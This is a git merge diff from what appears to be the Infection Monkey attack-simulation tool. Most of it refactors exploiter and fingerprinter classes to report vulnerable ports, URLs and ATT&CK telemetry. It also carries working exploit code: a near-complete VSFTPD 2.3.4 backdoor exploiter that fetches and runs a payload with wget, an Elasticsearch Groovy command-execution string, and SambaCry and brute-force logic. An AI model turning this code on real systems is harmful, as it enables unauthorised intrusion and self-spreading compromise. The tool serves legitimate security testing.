Merge remote-tracking branch 'origin/develop' into feature/refactor-attack-telem

# Conflicts:
#	monkey/infection_monkey/monkey.py
#	monkey/infection_monkey/transport/attack_telems/base_telem.py
#	monkey/infection_monkey/transport/attack_telems/victim_host_telem.py
#	monkey/monkey_island/cc/app.py
#	monkey/monkey_island/cc/resources/attack/attack_telem.py
#	monkey/monkey_island/cc/services/attack/attack_telem.py
This commit is contained in:
itay 2019-06-11 14:45:21 +03:00
commit dba82fc818
47 changed files with 5147 additions and 3743 deletions

View File

@ -8,3 +8,14 @@ class ScanStatus(Enum):
SCANNED = 1 SCANNED = 1
# Technique was attempted and succeeded # Technique was attempted and succeeded
USED = 2 USED = 2
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = {"usage": "BITS job was used to upload monkey to a remote system."}
def format_time(time):
return "%s-%s %s:%s:%s" % (time.date().month,
time.date().day,
time.time().hour,
time.time().minute,
time.time().second)

View File

@ -0,0 +1,10 @@
# abstract, static method decorator
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
__isabstractmethod__ = True

View File

@ -1,4 +1,4 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod, abstractproperty
import infection_monkey.config import infection_monkey.config
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
@ -13,9 +13,15 @@ class HostExploiter(object):
# Usual values are 'vulnerability' or 'brute_force' # Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY EXPLOIT_TYPE = ExploitType.VULNERABILITY
@abstractproperty
def _EXPLOITED_SERVICE(self):
pass
def __init__(self, host): def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {} self._exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'vulnerable_urls': [],
'vulnerable_ports': []}
self._exploit_attempts = [] self._exploit_attempts = []
self.host = host self.host = host
@ -37,6 +43,12 @@ class HostExploiter(object):
def exploit_host(self): def exploit_host(self):
raise NotImplementedError() raise NotImplementedError()
def add_vuln_url(self, url):
self._exploit_info['vulnerable_urls'].append(url)
def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port)
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -11,6 +11,8 @@ from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
import re import re
@ -27,6 +29,7 @@ class ElasticGroovyExploiter(WebRCE):
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'
def __init__(self, host): def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host) super(ElasticGroovyExploiter, self).__init__(host)
@ -58,6 +61,12 @@ class ElasticGroovyExploiter(WebRCE):
return False return False
return result[0] return result[0]
def upload_monkey(self, url, commands=None):
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
if 'windows' in self.host.os['type'] and result:
VictimHostTelem("T1197", ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
return result
def get_results(self, response): def get_results(self, response):
""" """
Extracts the result data from our attack Extracts the result data from our attack

View File

@ -21,6 +21,7 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Hadoop'
HADOOP_PORTS = [["8088", False]] HADOOP_PORTS = [["8088", False]]
# How long we have our http server open for downloads in seconds # How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60 DOWNLOAD_TIMEOUT = 60

View File

@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15 LOGIN_TIMEOUT = 15

View File

@ -17,6 +17,8 @@ from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'hoffer' __author__ = 'hoffer'
@ -237,6 +239,7 @@ class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'RDP'
def __init__(self, host): def __init__(self, host):
super(RdpExploiter, self).__init__(host) super(RdpExploiter, self).__init__(host)
@ -312,6 +315,9 @@ class RdpExploiter(HostExploiter):
client_factory.done_event.wait() client_factory.done_event.wait()
if client_factory.success: if client_factory.success:
if not self._config.rdp_use_vbs_download:
VictimHostTelem("T1197", ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
self.add_vuln_port(RDP_PORT)
exploited = True exploited = True
self.report_login_attempt(True, user, password) self.report_login_attempt(True, user, password)
break break

View File

@ -4,7 +4,6 @@ import posixpath
import re import re
import time import time
from io import BytesIO from io import BytesIO
from os import path
import impacket.smbconnection import impacket.smbconnection
from impacket.nmb import NetBIOSError from impacket.nmb import NetBIOSError
@ -35,6 +34,7 @@ class SambaCryExploiter(HostExploiter):
""" """
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline # Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result # Name of file which contains the runner's result
@ -51,6 +51,8 @@ class SambaCryExploiter(HostExploiter):
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2" SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit) # Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
# Supported samba port
SAMBA_PORT = 445
def __init__(self, host): def __init__(self, host):
super(SambaCryExploiter, self).__init__(host) super(SambaCryExploiter, self).__init__(host)
@ -80,6 +82,11 @@ class SambaCryExploiter(HostExploiter):
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash']) trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None: if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result)) successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
'host': self.host.ip_addr,
'port': self.SAMBA_PORT,
'share_name': share}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares: for share, fullpath in successfully_triggered_shares:
@ -89,6 +96,7 @@ class SambaCryExploiter(HostExploiter):
LOG.info( LOG.info(
"Shares triggered successfully on host %s: %s" % ( "Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares))) self.host.ip_addr, str(successfully_triggered_shares)))
self.add_vuln_port(self.SAMBA_PORT)
return True return True
else: else:
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)

View File

@ -26,6 +26,7 @@ class ShellShockExploiter(HostExploiter):
} }
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'Bash'
def __init__(self, host): def __init__(self, host):
super(ShellShockExploiter, self).__init__(host) super(ShellShockExploiter, self).__init__(host)
@ -143,7 +144,6 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
continue continue
return True return True
return False return False

View File

@ -17,6 +17,7 @@ LOG = getLogger(__name__)
class SmbExploiter(HostExploiter): class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SMB'
KNOWN_PROTOCOLS = { KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@ -68,6 +69,8 @@ class SmbExploiter(HostExploiter):
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
self.host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
exploited = True exploited = True
break break
else: else:
@ -137,4 +140,6 @@ class SmbExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline) remote_full_path, self.host, cmdline)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True return True

View File

@ -22,6 +22,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None] _TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SSH'
def __init__(self, host): def __init__(self, host):
super(SSHExploiter, self).__init__(host) super(SSHExploiter, self).__init__(host)
@ -81,6 +82,7 @@ class SSHExploiter(HostExploiter):
LOG.debug("Successfully logged in %r using SSH (%s : %s)", LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass) self.host, user, curpass)
exploited = True exploited = True
self.add_vuln_port(port)
self.report_login_attempt(True, user, curpass) self.report_login_attempt(True, user, curpass)
break break

View File

@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE): class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Struts2'
def __init__(self, host): def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None) super(Struts2Exploiter, self).__init__(host, None)

View File

@ -4,39 +4,34 @@
only vulnerable version is "2.3.4" only vulnerable version is "2.3.4"
""" """
import StringIO
import logging
import paramiko
import socket import socket
import time import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger from logging import getLogger
LOG = getLogger(__name__) LOG = getLogger(__name__)
__author__ = 'D3fa1t' __author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes RECV_128 = 128 # In Bytes
UNAME_M = "uname -m" UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;" UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter): class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'VSFTPD'
def __init__ (self, host): def __init__(self, host):
self._update_timestamp = 0 self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host) super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
@ -46,13 +41,13 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port)) s.connect((ip_addr, port))
return True return True
except socket.error as e: except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr) LOG.error('Failed to connect to %s', self.host.ip_addr)
return False return False
def socket_send_recv(self, s, message): def socket_send_recv(self, s, message):
try: try:
s.send(message) s.send(message)
return s.recv(RECV_128).decode('utf-8') return s.recv(RECV_128).decode('utf-8')
except socket.error as e: except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr) LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False return False
@ -60,35 +55,35 @@ class VSFTPDExploiter(HostExploiter):
def socket_send(self, s, message): def socket_send(self, s, message):
try: try:
s.send(message) s.send(message)
return True return True
except socket.error as e: except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr) LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False return False
def exploit_host(self): def exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..") LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8') ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'): if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER) time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n') self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close() ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands') LOG.info('Backdoor Enabled, Now we can run commands')
else: else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False return False
LOG.info('Attempting to connect to backdoor...') LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n') uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m) response = self.socket_send_recv(backdoor_socket, uname_m)
if response: if response:
LOG.info('Response for uname -m: %s', response) LOG.info('Response for uname -m: %s', response)
@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
# command execution is successful # command execution is successful
self.host.os['machine'] = response.lower().strip() self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else : else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host) LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
@ -109,8 +104,8 @@ class VSFTPDExploiter(HostExploiter):
# Create a http server to host the monkey # Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path) LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine # Upload the monkey to the machine
monkey_path = dropper_target_path_linux monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
@ -121,7 +116,7 @@ class VSFTPDExploiter(HostExploiter):
else: else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr) LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False return False
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory # Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n') run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER) time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
return True return True
else: else:
return False return False

View File

@ -7,6 +7,8 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.model import * from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
@ -207,13 +209,11 @@ class WebRCE(HostExploiter):
""" """
for url in urls: for url in urls:
if self.check_if_exploitable(url): if self.check_if_exploitable(url):
self.vulnerable_urls.append(url) self.add_vuln_url(url)
if stop_checking: if stop_checking:
break break
if not self.vulnerable_urls: if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.") LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url): def get_host_arch(self, url):
""" """
@ -307,6 +307,7 @@ class WebRCE(HostExploiter):
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.") LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
VictimHostTelem("T1197", ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command) resp = self.exploit(url, backup_command)
return resp return resp

View File

@ -44,6 +44,7 @@ HEADERS = {
class WebLogicExploiter(WebRCE): class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def __init__(self, host): def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
@ -67,6 +68,7 @@ class WebLogicExploiter(WebRCE):
except Exception as e: except Exception as e:
print('[!] Connection Error') print('[!] Connection Error')
print(e) print(e)
return True return True
def add_vulnerable_urls(self, urls, stop_checking=False): def add_vulnerable_urls(self, urls, stop_checking=False):

View File

@ -17,6 +17,7 @@ LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter): class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
def __init__(self, host): def __init__(self, host):
super(WmiExploiter, self).__init__(host) super(WmiExploiter, self).__init__(host)
@ -103,6 +104,8 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue): if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
self.add_vuln_port(port='unknown')
success = True success = True
else: else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",

View File

@ -158,7 +158,7 @@ class InfectionMonkey(object):
finger.get_host_fingerprint(machine) finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
}) 'service_count': len(machine.services)})
# skip machines that we've already exploited # skip machines that we've already exploited
if machine in self._exploited_machines: if machine in self._exploited_machines:
@ -186,11 +186,11 @@ class InfectionMonkey(object):
for exploiter in [exploiter(machine) for exploiter in self._exploiters]: for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if self.try_exploiting(machine, exploiter): if self.try_exploiting(machine, exploiter):
host_exploited = True host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED, machine).send() VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
break break
if not host_exploited: if not host_exploited:
self._fail_exploitation_machines.add(machine) self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED, machine).send() VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
if not self._keep_running: if not self._keep_running:
break break

View File

@ -1,4 +1,4 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod, abstractproperty
__author__ = 'itamar' __author__ = 'itamar'
@ -14,10 +14,20 @@ class HostScanner(object):
class HostFinger(object): class HostFinger(object):
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
@abstractproperty
def _SCANNED_SERVICE(self):
pass
def init_service(self, services, service_key, port):
services[service_key] = {}
services[service_key]['display_name'] = self._SCANNED_SERVICE
services[service_key]['port'] = port
@abstractmethod @abstractmethod
def get_host_fingerprint(self, host): def get_host_fingerprint(self, host):
raise NotImplementedError() raise NotImplementedError()
from infection_monkey.network.ping_scanner import PingScanner from infection_monkey.network.ping_scanner import PingScanner
from infection_monkey.network.tcp_scanner import TcpScanner from infection_monkey.network.tcp_scanner import TcpScanner
from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.smbfinger import SMBFinger
@ -26,4 +36,4 @@ from infection_monkey.network.httpfinger import HTTPFinger
from infection_monkey.network.elasticfinger import ElasticFinger from infection_monkey.network.elasticfinger import ElasticFinger
from infection_monkey.network.mysqlfinger import MySQLFinger from infection_monkey.network.mysqlfinger import MySQLFinger
from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.mssql_fingerprint import MSSQLFinger from infection_monkey.network.mssql_fingerprint import MSSQLFinger

View File

@ -20,6 +20,7 @@ class ElasticFinger(HostFinger):
""" """
Fingerprints elastic search clusters, only on port 9200 Fingerprints elastic search clusters, only on port 9200
""" """
_SCANNED_SERVICE = 'Elastic search'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -35,7 +36,7 @@ class ElasticFinger(HostFinger):
url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) url = 'http://%s:%s/' % (host.ip_addr, ES_PORT)
with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req:
data = json.loads(req.text) data = json.loads(req.text)
host.services[ES_SERVICE] = {} self.init_service(host.services, ES_SERVICE, ES_PORT)
host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['cluster_name'] = data['cluster_name']
host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['name'] = data['name']
host.services[ES_SERVICE]['version'] = data['version']['number'] host.services[ES_SERVICE]['version'] = data['version']['number']

View File

@ -10,6 +10,7 @@ class HTTPFinger(HostFinger):
""" """
Goal is to recognise HTTP servers, where what we currently care about is apache. Goal is to recognise HTTP servers, where what we currently care about is apache.
""" """
_SCANNED_SERVICE = 'HTTP'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -36,7 +37,7 @@ class HTTPFinger(HostFinger):
with closing(head(url, verify=False, timeout=1)) as req: with closing(head(url, verify=False, timeout=1)) as req:
server = req.headers.get('Server') server = req.headers.get('Server')
ssl = True if 'https://' in url else False ssl = True if 'https://' in url else False
host.services['tcp-' + port[1]] = {} self.init_service(host.services, ('tcp-' + port[1]), port[0])
host.services['tcp-' + port[1]]['name'] = 'http' host.services['tcp-' + port[1]]['name'] = 'http'
host.services['tcp-' + port[1]]['data'] = (server,ssl) host.services['tcp-' + port[1]]['data'] = (server,ssl)
LOG.info("Port %d is open on host %s " % (port[0], host)) LOG.info("Port %d is open on host %s " % (port[0], host))

View File

@ -16,7 +16,7 @@ class MSSQLFinger(HostFinger):
SQL_BROWSER_DEFAULT_PORT = 1434 SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096 BUFFER_SIZE = 4096
TIMEOUT = 5 TIMEOUT = 5
SERVICE_NAME = 'MSSQL' _SCANNED_SERVICE = 'MSSQL'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger):
sock.close() sock.close()
return False return False
host.services[self.SERVICE_NAME] = {} self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)
# Loop through the server data # Loop through the server data
instances_list = data[3:].decode().split(';;') instances_list = data[3:].decode().split(';;')
@ -71,12 +71,11 @@ class MSSQLFinger(HostFinger):
for instance in instances_list: for instance in instances_list:
instance_info = instance.split(';') instance_info = instance.split(';')
if len(instance_info) > 1: if len(instance_info) > 1:
